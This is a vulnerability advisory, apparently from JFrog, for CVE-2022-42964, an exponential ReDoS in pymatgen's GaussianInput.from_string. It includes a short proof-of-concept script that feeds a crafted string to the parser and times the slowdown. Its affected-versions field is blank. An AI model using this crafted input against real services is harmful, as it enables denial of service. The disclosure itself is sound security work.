< Back

XRAY-257184 - pymatgen ReDoS

CVE-2022-42964 | CVSS 5.9

JFrog Severity: Medium

Published 14 Oct. 2022 | Last updated 14 Oct. 2022

Summary

Exponential ReDoS in pymatgen leads to denial of service

Component

pymatgen

Affected versions

pymatgen (,)

Description

An exponential ReDoS (Regular Expression Denial of Service) can be triggered in the pymatgen PyPI package, when an attacker is able to supply arbitrary input to the `GaussianInput.from_string` method

PoC

```
import time
from pymatgen.io.gaussian import GaussianInput

def str_and_from_string(i):
    ans = """#P HF/6-31G(d) SCF=Tight SP

H4 C1

0 1
"""
```

```
    vulnerable_input = ans + 'C'+'0' * i + '!'+'\n'
    GaussianInput.from_string(vulnerable_input)

for i in range(1000):
    start = time.time()
    str_and_from_string(i)
    print(f"{i}: Done in {time.time() - start}")
```

Vulnerability Mitigations

No mitigations are supplied for this issue

References

NVD

< Back